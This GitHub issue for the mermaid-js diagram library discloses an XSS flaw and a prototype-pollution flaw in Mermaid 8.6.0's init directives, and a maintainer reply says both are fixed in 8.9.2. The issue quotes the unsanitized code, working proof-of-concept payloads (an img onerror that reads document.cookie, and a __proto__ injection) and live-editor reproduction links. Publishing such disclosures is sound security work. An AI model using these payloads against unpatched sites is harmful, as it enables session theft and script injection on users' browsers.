mermaid-js / mermaid

Generation of diagrams like flowcharts or sequence diagrams from text in a similar manner as markdown
https://mermaid.js.org
MIT License
72.79k stars 6.65k forks source link

Placeholder #1940

Closed knsv closed 3 years ago

knsv commented 3 years ago

XSS vulnerability

Vulnerability description

​ In version 8.6.0, Mermaid added a support of directives to add more control over styles(themes) applied to the diagrams. ​ Syntax for declaring the directive is %%{init: {<JSON_OBJECT>}}%% ​ Directives can be used to overwrite default theme properties like fontFamily or fontSize to the graph. ​ Behind the scenes, library takes JSON_OBJECT from directive and merges it with config object. Later that config is used to generate new CSS rules:

  let userStyles = '';
  // user provided theme CSS
  if (cnf.themeCSS !== undefined) {
    userStyles += `\n${cnf.themeCSS}`;
  }
  // user provided theme CSS
  if (cnf.fontFamily !== undefined) {
    userStyles += `\n:root { --mermaid-font-family: ${cnf.fontFamily}}`;
  }
  // user provided theme CSS
  if (cnf.altFontFamily !== undefined) {
    userStyles += `\n:root { --mermaid-alt-font-family: ${cnf.altFontFamily}}`;
  }

​ Problem is that there is no sanitization of user-supplied values, which are added to style tag via innerHTML method afterwards:

  const stylis = new Stylis();
  const rules = stylis(`#${id}`, getStyles(graphType, userStyles, cnf.themeVariables));
​
  const style1 = document.createElement('style');
  style1.innerHTML = rules;
  svg.insertBefore(style1, firstChild);

​ This leads to Cross-Site Scripting attack via following directive:

%%{init: { 'fontFamily': '\"></style><img src=x onerror=alert(document.cookie)>'} }%%

​ ​

Steps to reproduce

​ Create mermaid diagram with following payload:

%%{init: { 'fontFamily': '\"></style><img src=x onerror=alert(document.cookie)>'} }%%
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice

​ Or visit following PoC: https://mermaid-js.github.io/mermaid-live-editor/#/edit/eyJjb2RlIjoiJSV7aW5pdDogeyAnZm9udEZhbWlseSc6ICdcXFwiPjwvc3R5bGU-PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmNvb2tpZSk-J30gfSUlXG5zZXF1ZW5jZURpYWdyYW1cbkFsaWNlLT4-Qm9iOiBIaSBCb2JcbkJvYi0-PkFsaWNlOiBIaSBBbGljZSIsIm1lcm1haWQiOnsidGhlbWUiOiJkZWZhdWx0In0sInVwZGF0ZUVkaXRvciI6ZmFsc2V9 ​ ​ ​

Prototype pollution vulnerability

Vulnerability description

​ In version 8.6.0, Mermaid added a support of directives to add more control over styles(themes) applied to the diagrams. ​ Syntax for declaring the directive is %%{init: {}}%% ​ The issue is that directive JSON_OBJECT is lacking proper sanitization before merging with default config which means we can specify __proto__ attribute to overwrite Object prototype. ​ For example, if we use following payload, it will add attribute polluted to every new object in the application:

%%{init: { '__proto__': {'polluted': 'asdf'}} }%%
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice

​ ​ This can break the app leading to client-side DOS or can be used to achieve XSS. In some rare cases it can even lead to Remote Code Execution. ​

Steps to reproduce

Open https://mermaid-js.github.io/mermaid-live-editor/#/edit/eyJjb2RlIjoiJSV7aW5pdDogeyAnX19wcm90b19fJzogeydwb2xsdXRlZCc6ICdhc2RmJ319IH0lJVxuc2VxdWVuY2VEaWFncmFtXG5BbGljZS0-PkJvYjogSGkgQm9iXG5Cb2ItPj5BbGljZTogSGkgQWxpY2VcbiIsIm1lcm1haWQiOnt9LCJ1cGRhdGVFZGl0b3IiOmZhbHNlfQ Then open developer console in the browser and create a new object:

a={}
a.polluted 

You will see that newly created object already has polluted value. ​

Resources

You can learn more about this type of vulnerability here: https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-underrated-vulnerability-impacting-javascript-applications

knsv commented 3 years ago

Af ic for this issue is released in version 8.9.2